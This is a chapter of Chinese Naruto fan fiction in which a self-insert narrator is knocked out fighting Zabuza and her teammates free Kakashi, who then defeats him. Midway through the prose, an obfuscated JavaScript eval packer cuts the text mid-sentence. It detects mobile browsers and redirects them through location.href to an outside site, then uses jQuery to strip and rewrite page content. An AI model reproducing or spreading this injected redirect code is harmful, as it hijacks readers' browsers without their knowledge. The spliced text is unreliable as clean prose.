我急切地看向佐助的方向,他正死死盯着再不斩的水分身,寻找着破绽 “请你转告佐助,我们唯一的胜算,就是解救卡卡西老师!必须让再不斩的注意力从水牢上移开!只要他分心解除对水牢的查克拉维持,哪怕只有一瞬间,卡卡西老师就能脱困!” “等下!那你……” 小樱听出了我的言外之意,脸色更加苍白,紧紧抓住我的胳膊,眼中充满了担忧和恐惧 “你要做什么?不行!太危险了!” 我努力扯出一个安抚性的微笑,尽管我知道这笑容一定比哭还难看。我轻轻拍了拍小樱的手背,用口型无声地说道 “会没事的……相信我。按计划来。” 我必须吸引火力,为鸣人和佐助创造机会。这是我这个“知情者”唯一能做的,也是身体本能驱使我去做的! 佐助的动作比我预想的更快!几乎在我话音落下的瞬间,他如同离弦之箭般冲了出去!双手在忍具包中一抹,数道寒光带着尖锐的破空声,如同疾风骤雨般射向再不斩的水分身! “天真!” 水分身发出不屑的冷哼,手中的水刀随意地挥舞了几下,精准地将所有射来的苦无“叮叮当当”地格挡开来,火星四溅。 “小樱,拜托你了!” 我猛地甩开小樱的手,用尽全身力气朝她喊道 “记住!你可是要成为配得上佐助的女人啊!” 这句话,希望能给她注入一点勇气和动力。 话音未落,我已从腰间掏出所有剩余的手里剑和苦无!趁着佐助吸引了水分身全部注意力的瞬间,我铆足了劲,将手中的忍具如同不要钱般,带着我所有的恐惧、愤怒和决绝,狠狠地向再不斩的水分身投掷过去!目标不是要害,而是他可能闪避的空间! 上方有佐助的苦无佯攻,下方有我密集的忍具覆盖!双重夹击! 水分身只是轻蔑地“哼”了一声:“雕虫小技!”他脚步轻移,身体诡异地向着左侧一晃,如同鬼魅般轻松躲开了我投掷的所有忍具。同时,面对从空中落下试图近身攻击的佐助,水分身抬腿就是一脚!这一脚又快又狠,裹挟着查克拉的劲风,狠狠踹在佐助的胸口! “噗!” 佐助闷哼一声,身体如同被重锤击中,口喷鲜血,倒飞回来! “佐助!” 我瞳孔骤缩,几乎是本能地,双腿猛地蹬地,不顾一切地冲上前,张开双臂想要接住他! “砰!” 巨大的冲击力狠狠撞入我的怀中!我感觉像是被一辆高速行驶的马车撞上,胸口一阵剧痛,喉头一甜,一股腥甜涌了上来,眼前阵阵发黑。但我死死咬住牙关,用尽全身力气向后踉跄了几步,硬是没有倒下,将佐助稳稳地挡在了身后。 “咳…咳咳……” 佐助捂着剧痛的胸口,剧烈地咳嗽着,鲜血从嘴角溢出。他抬头看到是我接住了他,眼中瞬间闪过一丝错愕,随即被强烈的羞愤取代 “放…放开我!” 他挣扎着想要脱离我的支撑,似乎被我这个“吊车尾”保护,对他而言是莫大的耻辱。 “闭嘴!死装哥!” 剧烈的疼痛和死亡的压迫感让我也失去了平时的冷静,气急上头地吼了回去。都什么时候了,还在乎这个!我猛地松开扶着佐助的手,让他自己站稳。他踉跄了一下,捂着胸口,大口喘息,眼神复杂地看了我一眼。 小樱还在原地,脸色惨白地看着我们,手足无措。我焦急地朝她比划了一个手势,示意她赶紧过来照顾佐助,同时把我的计划告诉他!时间不多了! 下一刻,我甚至没有看佐助的反应,目光死死锁定前方的再不斩水分身。我知道这很蠢,但这是我能想到的唯一办法!我再次压榨出身体里最后的力量,如同扑火的飞蛾,向着那个恐怖的水分身发起了绝望的冲锋!一边冲,一边将手中仅剩的最后一枚苦无,用尽全身力气,狠狠掷向他的面门! “愚蠢至极!” 水分身的声音充满了不屑和残忍。他甚至没有用刀,只是随意地抬起水凝聚的手,像拍苍蝇一样,轻松地捏住了那枚疾射而来的苦无。那双由水构成、却仿佛带着实质目光的眼睛,居高临下地俯视着我,充满了对蝼蚁的蔑视 “受了伤还敢来挑战我?不知死活!” “哼。” 水分身冷哼一声,捏着苦无的手随意一甩。 就是现在!趁着对方分神处理苦无的瞬间,我脚下猛地发力,身体压到最低,如同猎豹般再次加速前冲!目标直指水分身的下盘!我知道这很冒险,但这是我唯一能做的牵制! “找死!” 水分身显然被我这接二连三的骚扰激怒了。他不再留手,巨大的水刀带着撕裂空气的恐怖尖啸,划出一道冰冷的弧光,朝着我的头颅狠狠劈下!刀锋未至,那凌厉的劲风已经刮得我脸颊生疼,死亡的气息瞬间将我完全笼罩! 躲不开! 脑海中瞬间闪过鸣人曾经在训练场笨拙地教我体术闪避的画面,还有那个月光下信誓旦旦说要当上火影的夜晚…… 求生的本能和肌肉记忆在最后一刻接管了身体!我几乎是凭借着一股蛮力,强行将身体向右侧狠狠一扭,同时脚下猛地一蹬地面,整个人向着侧前方狼狈地翻滚出去! “嗤啦!” 刀锋擦着我的左臂外侧掠过,带起一溜血珠和破碎的布料!火辣辣的剧痛传来! 然而,巨大的刀势带起的冲击波,如同无形的重锤,狠狠撞在我的后背上! “噗——!” 一口鲜血再也压抑不住,狂喷而出!我感觉自己像是被高速行驶的火车撞上,五脏六腑都移了位!身体完全不受控制,如同断了线的破败玩偶,被这股巨力狠狠抛飞出去,在空中划出一道凄惨的弧线! “砰——咔嚓!” 后背和后脑勺结结实实地撞在了一棵坚硬粗壮的大树树干上!恐怖的撞击力让我清晰地听到了自己骨头发出的、令人牙酸的呻吟声!眼前瞬间被无边的黑暗和金星充斥,剧烈的疼痛如同海啸般席卷了全身每一个神经末梢!世界在旋转、颠倒,意识如同退潮般迅速消散。手中紧握的苦无无力地滑落,掉在泥泞的地面上。粘稠温热的液体顺着额角流下,模糊了我的视线,带着浓重的铁锈味。 黑暗,彻底吞噬了我。 “旁听生——!!!” “吊车尾——!!!” 第七班成员和被困在水牢中的卡卡西,撕心裂肺的呼喊声同时响起,充满了难以置信的惊恐和绝望! 水牢之中,卡卡西老师目睹了这一切!他目眦欲裂!那只猩红的写轮眼疯狂地转动着,仿佛要滴出血来!他发疯般地用自己的拳头、手肘、甚至头,不顾一切地猛烈撞击着坚固的水壁!“砰砰砰!”的闷响在水牢内回荡! 他脸上惯有的慵懒和冷静彻底消失,只剩下狂暴的愤怒和无边的痛苦!就在刚才,他还在信誓旦旦地说要保护同伴!转眼间,一个学生就在他眼前被敌人像拍苍蝇一样击飞,生死不明!这誓言,此刻显得如此苍白无力,如同被狂风吹散的尘埃! 鸣人挣扎着从地上爬起来,正好看到我如同破布娃娃般撞上树干,软软滑落的一幕。他碧蓝的眼睛瞬间变得赤红!他抬起手,看着自己手臂上渗血的、包扎得歪歪扭扭的伤口,一股无法形容的、混合着愤怒、悲伤和极度自责的火焰,猛地从心底窜起,直冲头顶! 那个第一个认可他的女孩…… 那个在他恶作剧后,会无奈叹气的女孩…… 那个在他失落时,会用笨拙却真诚的话语鼓励他、肯定他梦想的女孩…… 那个在危机时刻,总会像这样不顾一切挡在他身前的笨蛋女孩…… 就这样……死了?为了保护佐助……为了保护他们……像垃圾一样被那个没眉毛的混蛋打死了?! 各种复杂的记忆碎片——她笨拙的笑容、坚定的眼神、温暖的掌心、气急败坏的怒吼——如同走马灯般在鸣人脑海中疯狂闪过,最终定格在她无力滑落、鲜血染红额角的画面上。 “啊啊啊啊——!!!” 一声压抑到极致、如同受伤野兽般的嘶吼从鸣人喉咙深处爆发出来!他早就发过誓,不要再做那个只会恶作剧、被人看不起的吊车尾了!他要成为火影,得到所有人的认可!他要保护所有重要的人! 现在……该轮到他,漩涡鸣人,来保护这个笨蛋了!用生命去保护! 鸣人猛地弯下腰,一把抓起地上那枚沾满泥土的木叶护额。他的动作带着一种近乎虔诚的庄重,将护额仔细地、用力地重新系在自己的额头上,遮住了那道浅浅的伤痕。他抬起头,碧蓝的眼中燃烧着从未有过的、如同实质火焰般的意志!那火焰中,有悲伤,有愤怒,但更多的是破釜沉舟的决绝! 佐助默默走到了鸣人身边,没有说话,只是伸出手,用力地拍了拍鸣人的肩膀。两人目光在空中交汇,仅仅一瞬,无需任何言语。 他们都从对方眼中看到了同样的东西——悲痛、愤怒,以及一种为了同伴、为了那个倒下的女孩,不惜一切代价也要战斗到底的决心!他们明白了“我”之前的计划,明白了“我”用生命争取来的机会! “切……” 再不斩的本体看着我倒下的方向,发出一声意义不明的轻嗤 “还以为是个好苗子,原来如此不堪一击。” 他扛起斩首大刀,冰冷的目光扫过剩余的三人——额头系紧护额的鸣人,眼神冰冷的佐助,以及强忍着恐惧护在达兹纳身前的小樱 “那么,接下来轮到谁了?” “喂!那边那个没眉毛的混蛋!” 鸣人上前一步,声音不大,却带着一种穿透浓雾的坚定力量,清晰地传入再不斩的耳中。 再不斩的目光转向他。 鸣人抬起手,食指笔直地指向再不斩,眼神锐利如刀 “在你的手册上,给我好好地记清楚这个名字!记下我这个未来要成为火影的男人!” 他深吸一口气,胸膛因为激动而起伏,用尽全身力气,发出了震彻林间的宣言 “我,木叶忍者村的忍者——漩涡鸣人!!” “那么……” 鸣人的双手开始快速结印,体内的查克拉如同即将喷发的火山般汹涌躁动 “就让你见识一下木叶流忍者的厉害吧!!!” 再不斩盯着眼前,那个眼睛里充满信心的黄毛小子,一种奇怪的感觉涌上心头,明明之前还是一个害怕的毛头小子,竟一下就成长到如此地步。 “你们在干什么!不是让你们快跑吗!我们的任务是优先保护达兹纳先生!死亡是忍者常有的事情……!别再白白牺牲了!” 卡卡西老师焦急着喊到,刚才的那一幕早就对他的心灵造成了二次创伤,他没办法在看着自己亲手带起来的第七班,全军覆没…… 鸣人只是转过头,沉默着看着达兹纳先生 “什么吗,要说起来,都是我埋下来的恶果……事到如今,我也不会说那些贪生怕死的话了,请你们打个痛快吧!” “早就准备好了!” 佐助嘴角勾起一抹冰冷的、充满战意的弧度,手中的苦无闪烁着寒光。 “做好觉悟了!” 鸣人咧嘴一笑,那笑容充满了无畏的勇气和必胜的信念!两人的眼中,此刻都燃烧着名为“同伴”的炽热火焰! “哈哈哈……哈哈哈哈!” 再不斩像是听到了世间最好笑的笑话,从低沉的嗤笑,逐渐变成了癫狂的大笑,笑声中充满了对蝼蚁妄想的极致嘲讽。 “完全不懂得吸取教训的蠢货!你们的忍者游戏,还要玩到什么时候?!” “喂!少废话了!” 鸣人怒吼一声,他此刻的脑子里只有一个念头——打倒眼前这个伤害了同伴的恶鬼!他仿佛看到了我靠在树干上,苍白染血的脸庞。 “动手!” “像你们这种小鬼,老子和你们同岁的时候杀过的比你们见过的都多!” 再不斩的狂笑戛然而止,眼神瞬间变得如同万载寒冰,充满了纯粹的杀意 “既然这么着急去死,老子就成全你们!送你们去陪那个不知天高地厚的丫头!” “鸣人!就是现在!按她说的做!” 佐助的声音带着前所未有的急迫和一种绝对的信任!他猛地压低身体重心,如同蓄势待发的猎豹,双手在忍具包中飞速动作!他选择相信那个“倒下”的女孩用生命换来的计划——解救卡卡西老师是唯一的生路!而他,要为鸣人创造那个关键的机会! “啊啊啊啊——!!!” 鸣人的回应是源自灵魂深处的咆哮!那个总是挡在自己身前的身影无力滑落的画面,如同最炽热的烙铁,狠狠烫在他的灵魂深处!恐惧?退缩?不!那点残余的情绪早已被滔天的怒火和一种名为“守护”的决绝彻底焚烧殆尽!一股他自己都未曾完全理解、狂暴而灼热的力量(九尾查克拉的雏形)在他体内如同决堤的洪水般奔涌咆哮!这股力量赋予了他超越极限的勇气和力量,金色的发丝仿佛都染上了一层淡淡的红晕! “影分身之术!” 砰!砰!砰!砰——!!! 不是几十个,而是上百个燃烧着怒火的鸣人,如同愤怒的蜂群,瞬间填满了再不斩本体和他水分身周围的每一寸空间!这不是战术佯动,而是纯粹以绝对数量制造混乱的自杀式冲锋! 每一个分身都悍不畏死,发出震天的怒吼,用拳头、用苦无、甚至用牙齿和身体,疯狂地扑向目标,进行着不顾一切的冲撞和撕咬!场面瞬间陷入极度的混乱! “烦人的虫子!” 再不斩的眉头紧紧锁起,手中的斩首大刀化作一片收割生命的死亡银光!每一次挥舞都带起一片破碎的分身白烟!虽然分身的个体实力微弱,但这股不要命的疯狂劲头和庞大的数量,极大地干扰了他的动作、视线和感知!一时竟无法突破! “佐助!接着!” 混乱之中,鸣人的吼声穿透了喧嚣!他用尽全力,将背后巨大的、沉重的风魔手里剑,朝着佐助的方向猛力投掷过去!巨大的手里剑旋转着,带着凄厉的破空声飞向佐助! 佐助眼神锐利如鹰隼,看准时机,双脚蹬地高高跃起,精准地凌空接住了那沉重的风魔手里剑!巨大的重量让他手臂一沉,但他没有丝毫犹豫,腰腹发力,身体在空中完成一个漂亮的旋转,借助离心力,将全身的力量和查克拉都灌注于双臂,朝着维持水牢术的再不斩本体,用尽平生之力,将风魔手里剑猛掷而出! “呼——呜——!” 巨大的手里剑撕裂空气,发出如同鬼哭般的尖啸,旋转着形成一道致命的银色风暴,直射目标!速度快得惊人! “天真!” 维持水牢的再不斩本体发出不屑的冷哼。对这种直来直去的、看似威力巨大实则轨迹单一的笨重攻击,他充满了轻蔑。他甚至懒得大幅度移动,只是计算好轨迹,微微侧身,同时伸出一只手,准备像捏住玩具一样,轻松地按住这飞来的“大玩具”,然后随手扔开,再好好嘲讽这群不知死活的小鬼。 然而,就在风魔手里剑即将被他单手按住的电光火石之间—— “还没完呢!” 鸣人的咆哮再次炸响!只见他双手飞速结印:“影分身之术!” 砰!一个分身瞬间出现在高速飞行的风魔手里剑旁边,双手死死抓住了巨大的手里剑边缘! “什么?!” 再不斩本体和水分身同时一惊!这黄毛小子想干什么?! “变身术!” 空中的鸣人分身一声暴喝,砰地一声化作一团烟雾!烟雾散去,赫然是另一个巨大的风魔手里剑! 而就在分身变身、烟雾弥漫的掩护下,真正的风魔手里剑本体,借着旋转产生的巨大离心力,划出了一个极其诡异刁钻的弧线!它如同一条拥有生命的毒蛇,灵巧地绕过了再不斩本体正面的防御姿态,从他的视觉死角——侧后方,带着雷霆万钧、足以斩断巨岩的恐怖力量,狠狠斩向再不斩的后背——那个维持水牢术的关键查克拉节点所在! “糟了!” 再不斩本体脸色剧变!他完全没料到这看似鲁莽的黄毛小子,竟然藏着如此精妙的后手!再想完全躲避或防御,已经根本来不及了!仓促间,他只能强行扭动身体,试图避开要害,同时凝聚查克拉在背部防御! 噗嗤——!咔嚓! 巨大的手里剑带着恐怖的切割力,狠狠斩入了再不斩本体的左肩胛骨附近!虽然避开了绝对的要害,但查克拉节点受到了猛烈的冲击和破坏!骨骼碎裂的声音清晰可闻! “呃啊——!” 再不斩发出一声痛苦的闷哼!左肩传来钻心的剧痛,鲜血瞬间染红了他的衣衫! 哗啦——!!! 如同水晶穹顶轰然崩塌的巨响!巨大的水牢应声溃散! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575532|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被囚禁的、高速旋转的水流失去了查克拉的束缚,如同脱缰的狂暴水龙,轰然坍塌、向着四面八方猛烈炸开!漫天水花如同暴雨般倾泻而下! “干得漂亮!鸣人!佐助!” 水花飞溅的中心,卡卡西老师的身影如同挣脱了枷锁的银色闪电,瞬间冲破了水幕的束缚!他毫不停滞,脚尖在尚未完全平息的水面上重重一点,发出“啪”的一声脆响! 整个人化作一道撕裂空气的模糊虚影,带着滔天的怒火和无边的杀意,悍然出现在受伤的再不斩本体正前方!湿透的银发紧紧贴在脸颊和护额上,水珠不断滴落。那只猩红的写轮眼,此刻冰冷得如同九幽寒冰,死死锁定了眼前这个伤害了他学生的恶鬼! “桃地再不斩!” 卡卡西的声音低沉得可怕,每一个字都像是从牙缝里挤出来,蕴含着足以冻结灵魂的寒意 “你的把戏……到此为止了!” “咳……” 再不斩捂着血流如注的左肩,剧痛让他的脸色有些扭曲,但那双眼睛里的凶戾和疯狂却丝毫未减。他缓缓抬起头,目光扫过因为查克拉消耗巨大而气喘吁吁、汗水混着泥水却眼神凶狠如狼、死死盯着他的鸣人;又看向因为刚才极限投掷而手臂微微发麻、嘴角带着一丝冰冷弧度、同样充满战意的佐助;最后,定格在杀意沸腾的卡卡西身上。短暂的沉默后,他发出一声混合着痛苦、愤怒和一丝……难以言喻的惊诧的低哼 “……哼!看来……我确实小瞧了你们这群小鬼!尤其是那个黄毛小子……” 他的目光,似乎有意无意地扫过我昏迷倒下的方向,声音里带着一丝复杂 “……还有那个不知死活、用命来布局的丫头……她的计划……真是让人火大又……有点意思。” 他不得不承认,如果不是那个女孩一开始近乎自杀式的牵制,打乱了他的节奏,吸引了水分身的注意力,并制定了这个核心战术,这两个小鬼未必能抓住那一瞬间的机会。 卡卡西老师没有给再不斩任何喘息或废话的时间!他心中的怒火早已焚尽了一切理智!眼前这个敌人,不仅威胁着任务目标,更重伤了他地同伴! 他左手猛地一挥,精准地拍飞了再不斩因受伤而力量减弱、下意识掷向他的风魔剑!同时,他的右手单手开始以肉眼难以捕捉的速度结印!查克拉在他掌心疯狂凝聚、压缩! 再不斩感受到了那股如同实质般的恐怖杀意!这股杀意,比之前任何时刻都要浓烈百倍!他知道,眼前这个复制忍者,已经彻底被激怒了!现在想逃?已经太迟了!唯有死战! 两人如同有默契般,同时站在了相对平静下来的水面上,冰冷的水没过他们的脚踝。空气仿佛凝固了,只剩下浓得化不开的杀机在无声地碰撞、交锋。两人双手同时抬起,十指翻飞,速度快得只剩下道道残影!结印的动作、顺序、节奏,竟然完全同步,一模一样!仿佛在照镜子!卡卡西老师的写轮眼疯狂转动,死死锁定着再不斩的每一个细微动作和查克拉流动,完美地复制、预判! “水遁·水龙弹之术!” 两人同时厉喝,声音如同惊雷炸响! 轰隆隆——! 脚下的水面剧烈沸腾!两条由狂暴水流凝聚而成的狰狞巨龙,带着震耳欲聋的咆哮,拔地而起!它们庞大的身躯盘旋着,鳞爪清晰可见,张开巨口,露出由激流构成的森然利齿,裹挟着毁灭一切的气势,狠狠地撞向对方! 轰——!!!! 如同两颗彗星迎头相撞!震耳欲聋的爆炸声响彻云霄!撞击点瞬间炸开一团刺眼的白光和无数的水花!狂暴的冲击波混合着滔天的巨浪,如同失控的海啸,呈环状向着四面八方疯狂地扩散、拍击!原本就一片狼藉、湿漉漉的树林边缘,瞬间被这毁灭性的洪水彻底淹没!树木被连根拔起,枝叶被撕成碎片,泥土和碎石被卷入洪流! “可恶啊!” 鸣人正在奋力地朝着我昏迷的方向涉水冲去,试图抓住我或将我拖离这毁灭性的冲击范围。但这股突如其来的、蕴含着两个上忍查克拉的狂暴水流,威力远超想象! 它如同无数只无形的巨手,狠狠地拍打、撕扯着他的身体!巨大的力量将他猛地推开、卷走!“咕噜噜……”他呛了好几口浑浊冰冷的水,身体完全不受控制地被汹涌的洪流裹挟着,狠狠撞向附近一棵幸存的树干,发出沉闷的“砰”的一声!他眼前一黑,差点晕厥过去,艰难地用手扒住树干,抹去脸上的水,焦急万分地看向我的位置。 然而,就在那片被狂暴水流和冲击波肆虐得如同地狱的区域,一个极其诡异、违背常理的景象出现了。 我依然昏迷着,无力地靠着那棵粗壮的树干(幸运的是,这棵树足够坚韧,没有被冲垮)。但以我为中心,大约半径一米左右的范围内,水流仿佛撞上了一堵无形的、光滑无比的弧形墙壁!汹涌的浪头、裹挟着碎木断枝的激流,在触及这个范围边缘时,诡异地、无声无息地向两边滑开、分流。 如同遇到了最圆润、最坚不可摧的鹅卵石!只有一些最细小的、如同雾气般的水沫,能零星地飘洒进来,轻轻沾湿了我额角被鲜血浸透几缕散落的发丝。那片小小的区域,在狂暴肆虐、摧毁一切的水世界中,形成了一个格格不入的、绝对平静的真空孤岛! 与我这诡异的“幸运”形成鲜明对比的,是正努力想要靠近我的小樱。 “呀啊——!” 小樱惊恐的尖叫瞬间被震耳欲聋的水流声吞没。她正咬着牙,试图顶着激流冲到我身边保护我。然而,一股强大而神秘的无形排斥力猛地作用在她身上,混合着狂暴水流的冲击,让她感觉自己像是被一只看不见的巨手狠狠推了出去!“噗通!”她脚下彻底失去平衡,整个人向后摔倒,眼看就要被汹涌的洪水卷走! “小樱!” 千钧一发之际,佐助的身影及时出现!他一手死死拽住差点被冲走的达兹纳先生,另一只手在激流中险之又险地抓住了小樱的手腕!巨大的冲击力让三人一起撞在后方一棵粗壮的大树上,才勉强稳住身形,但都狼狈不堪,浑身湿透,沾满了泥浆。 鸣人瞪大了眼睛,难以置信地看着我安然无恙地“悬浮”在激流中心。这太不可思议了!水流冲击到他、小樱、佐助身上的力量是那么猛烈恐怖,连大树都能冲垮,为什么唯独她那里……像是被某种看不见的力量刻意守护着?是卡卡西老师在激战中分心施展的某种保护忍术?还是……某种他无法理解的奇迹?鸣人脑中一片混乱。 这毁灭性的激流来得快,去得也快。随着两条水龙的查克拉耗尽、溃散,肆虐的洪水如同退潮般迅速消退,留下满地狼藉——倒伏的树木、裸露的树根、深深的沟壑、浑浊的泥浆,以及几个浑身湿透、惊魂未定的身影。 卡卡西老师和再不斩在水流冲击下也各自稳住了身形,隔着渐渐稀薄的、弥漫着水汽的战场对峙着,警惕地观察着对方的状态和周围的环境,同时剧烈地喘息着,刚才的对轰消耗了双方大量的查克拉。 卡卡西老师的目光如同最精密的雷达,锐利地扫过战场:看到紧紧抱着树干、剧烈咳嗽吐水的鸣人,虽然狼狈但似乎并无大碍;看到被佐助死死护住、惊魂未定的达兹纳,以及同样被佐助拉住、浑身泥泞、惊惧未消的小樱;最后,他的视线落在了依旧靠着树干、昏迷不醒的我身上。 他的目光在我身上停留了半秒,那只猩红的写轮眼中,清晰地闪过一丝不易察觉的震惊。我所在的位置,周围的地面被洪水冲刷得一片泥泞,甚至形成了小水洼。但我紧挨着树干的那一小片区域,却异常“干净”,只有一层薄薄的湿润水汽,连衣服都没有明显的大片湿痕!这与我理应承受的恐怖冲击力完全不符!这绝非水流冲击的随机性巧合能解释!是某种他未曾察觉的防御结界?还是……某种更神秘的力量介入?强烈的疑问在卡卡西心中升起,但现在强敌当前,他只能将这份疑虑暂时压下。 “哼,看来你的学生运气好得离谱。” 再不斩捂着依旧血流不止的左肩,声音嘶哑地嘲讽道,显然他也注意到了我这边的异常,但他同样将其归结为不可思议的运气。他的注意力很快重新锁定在卡卡西身上,虽然受伤,但眼中的杀意和凶戾丝毫未减。 鸣人甩了甩头上的泥水,暂时压下了心中翻腾的巨大疑问。无论如何,她还活着就好!他立刻手脚并用地从泥泞中爬起来,跌跌撞撞地再次冲向我的位置,这次没有了水流的阻碍。 “喂!醒醒!你怎么样了?别吓我啊!” 鸣人跪倒在我身边,声音带着剧烈的颤抖和后怕,他小心翼翼地伸出手指,探向我的鼻息,又紧张地查看我头上被血浸透的绷带和腰间的伤口。确认还有呼吸,他那颗悬着的心才稍微放下一点,但眼中的担忧丝毫未减。 佐助也扶着大树站起身,警惕的目光依旧锁定着再不斩,同时用眼角余光确认着我的情况。看到我似乎真的没有在刚才的洪水中受到二次伤害,他紧绷的下颌线才微微放松了一点。小樱在佐助的搀扶下,也扶着惊魂未定、一瘸一拐的达兹纳,艰难地向我这边走来,脸上充满了担忧。 在另一个不为人知的地方里,他“站”在那里。刚刚收回那只微微抬起的、戴着黑色手套的右手,视线落在——那个昏迷的女孩身上。 他的眼神异常复杂。有探究,有审视,有愤怒,有悲伤……明明只是假的,但身体却几乎是不假思索地做出了反应。 『……为什么……』 战局再开! “你是赢不了我的! ”再不斩强忍着肩头的剧痛,嘶吼着为自己打气,再次挥刀冲向卡卡西!刀光凌厉,卷起地上的泥水! “你是赢不了我的!” 卡卡西冰冷的声音几乎与再不斩同时响起!写轮眼急速转动,再不斩的动作、意图,在他眼中清晰无比!他如同未卜先知,精准地格挡、闪避,甚至提前一步封堵再不斩的进攻路线!两人的动作再次诡异地同步! 再不斩眼中充满了难以置信的惊骇!他引以为傲的刀术和战斗经验,在这个复制忍者面前,仿佛成了透明的剧本!对方总能快他一步!他尝试了几个虚招和假动作,但卡卡西完全不为所动,仿佛能看透他的心思,每一次都精准地化解,并用更凌厉的反击将他逼退! “不可能!” 再不斩内心的震惊终于彻底转化为恐慌!他的节奏完全被打乱了! “结束了!” 卡卡西抓住再不斩心神失守的瞬间,眼神一厉,双手的结印速度快到了极致!体内的查克拉如同江河奔涌! “水遁·大瀑布之术!” 轰隆隆——! 比之前水龙弹更加恐怖、更加庞大的水流凭空生成!如同九天银河倾泻而下,化作一道连接天地的巨大瀑布!卡卡西眼中承载的怒火,仿佛都融入了这毁灭性的忍术之中!狂暴的水流发出震耳欲聋的咆哮,以排山倒海、摧毁一切的气势,狠狠地撞向惊慌失措的再不斩! “不——!” 再不斩只来得及发出一声绝望的怒吼,就被这恐怖的洪流狠狠吞没!他的身体如同狂风中的落叶,被巨浪裹挟着,以惊人的速度向后冲去!沿途的树木如同脆弱的火柴棒般被轻易折断、冲垮!发出连绵不绝的“咔嚓”断裂声! 鸣人死死抱住一棵粗壮树干的根部,身体被水流冲击得几乎离地!佐助一手死死抓住达兹纳,另一只手牢牢扣住地面一块凸起的岩石,同时用脚勾住旁边的小樱,三人如同在惊涛骇浪中挣扎的小船,才勉强没有被冲走。而我,依然被那股无形的神秘力量守护着,在狂暴的水世界边缘维持着那小小的平静孤岛。 不知过了多久,如同天灾般的洪水终于平息。 再不斩浑身是伤,衣衫褴褛,被巨浪狠狠地拍在了一棵极其粗壮的树干上!巨大的冲击力让他眼冒金星,口喷鲜血!没等他缓过气来,几枚精准射来的手里剑带着寒光,“哆哆哆”几声,狠狠钉穿了他的手腕和脚踝,将他如同标本般牢牢地钉在了树干上!彻底失去了行动能力! 卡卡西老师的身影如同死神般,无声地出现在再不斩面前的树枝上。他眼神冰冷,手中握着一枚苦无,没有丝毫犹豫,朝着再不斩的心脏要害,猛地刺下!他要为他的同伴彻底终结这个威胁! 然而,一道身影比他更快! “噗嗤——!” 利器割裂血肉的闷响传来! 鲜血如同喷泉般从再不斩的脖颈处狂涌而出! 一位戴着面具、身形纤细的神秘人,如同鬼魅般出现在再不斩身旁的树枝上,冷漠地俯视着脚下生命迅速流逝的再不斩,眼神中没有丝毫波澜。 “再不斩先生……死了?” 鸣人从泥水里爬起来,看着眼前这血腥的一幕,有些失神。但随即,他看到我依旧昏迷染血的样子,一股复杂的情绪涌上心头——有解脱,有后怕,但更多的是觉得这个伤害了同伴的恶鬼,死有余辜! 卡卡西老师停下了动作,目光锐利地扫过突然出现的面具人,最后落在气息断绝的再不斩身上。他蹲下身,手指迅速检查再不斩的颈动脉和瞳孔,确认对方确实已经死亡。他站起身,护额下的那只眼睛,带着审视和一丝不易察觉的锐利,看向那位神秘的面具人,同时,他的余光,再次扫过远处昏迷的我。 “非常感谢您的援手。” 面具人的声音透过面具传来,清冷而平静,听不出情绪 “我一直在寻找能够彻底杀死再不斩的机会。” 卡卡西没有立刻回应,他的目光在面具人和我之间隐晦地游移了一下,似乎在思考着什么,最终只是淡淡地说 “处理他们,是你的职责……” 面具人微微颔首,似乎也读懂了卡卡西的眼神,他一直在看想那位昏迷的少女,作揖之后,就打算扛着再不斩离开这个是非之地 “是的。再不斩身上的秘密太多,我必须尽快处理掉他的尸体。那么……告辞了。” 她的语气依旧平静无波,仿佛只是完成了一件微不足道的任务。 一阵裹挟着血腥味的冷风吹过,卷起几片枯叶。面具人扛起再不斩的尸体,原地消失在茂密的树林深处,如同从未出现过。 战斗……终于结束了。 鸣人双腿一软,再也支撑不住,直接瘫坐在冰冷的泥地上,大口大口地喘着粗气,脸上混合着难以置信的恍惚和一种极度疲惫后的虚脱感。紧绷的神经一旦放松,巨大的疲惫感和劫后余生的茫然瞬间席卷了他。 佐助也长长地舒了一口气,紧绷的肩膀终于松弛下来。但他没有沉浸在松懈中,目光第一时间急切地投向了那个靠着树干、生死未卜的身影,眼神中充满了复杂的情绪——有劫后余生的庆幸,有对她奋不顾身的震撼,还有一丝难以言喻的……关切。 “老师!她怎么样了?” 小樱带着哭腔喊道,声音里充满了担忧。她扶着达兹纳,急切地想要靠近。 卡卡西老师没有立刻回应他们。他的目光如同最警惕的猎鹰,再次锐利地扫视了四周一圈,确认那个神秘面具人的气息确实彻底消失无踪。然后,他猛地转身,身影如同瞬移般,几个起落就冲到了昏迷的我的身边。 他迅速单膝跪地,动作快而稳定。左手食指和中指并拢,精准地探向我的颈动脉,感受着那微弱但确实存在的跳动。右手则小心翼翼地拨开我被血和汗水粘在额角的发丝,快速而仔细地检查着头顶那个撞击造成的伤口,以及腰间被刀风撕裂的皮外伤。他的眉头紧紧锁起,形成一个深刻的“川”字。那只平时总是慵懒半眯着的眼睛,此刻充满了凝重和一丝……难以掩饰的后怕。写轮眼已经关闭,恢复了深邃的黑色。 他迅速从腰后的忍具包中掏出干净的急救绷带、消毒药粉和止血凝胶。动作麻利、专业,带着一种久经沙场的沉稳。他小心地用消毒药水清理我额角伤口周围的污垢和血痂,冰冷的触感让我即使在昏迷中也微微蹙了一下眉。然后敷上止血凝胶,再用绷带一圈圈仔细地包扎好。处理腰部擦伤时,他的动作同样轻柔而迅速。 就在他整理忍具包时,一张硬质的卡片,悄无声息地从我敞开的忍者包边缘滑落出来,掉在泥泞的地面上。 卡卡西的目光被吸引过去。 那是一张塔罗牌。 牌面上,一位头戴冠冕、身着长袍的庄严女性,安静地端坐在黑白柱之间,膝上摊放着一卷书卷。她的眼神深邃、宁静,仿佛洞悉一切奥秘。背景是沉静的帷幕和饱满的石榴。 『女祭司』(The High Priestess)。 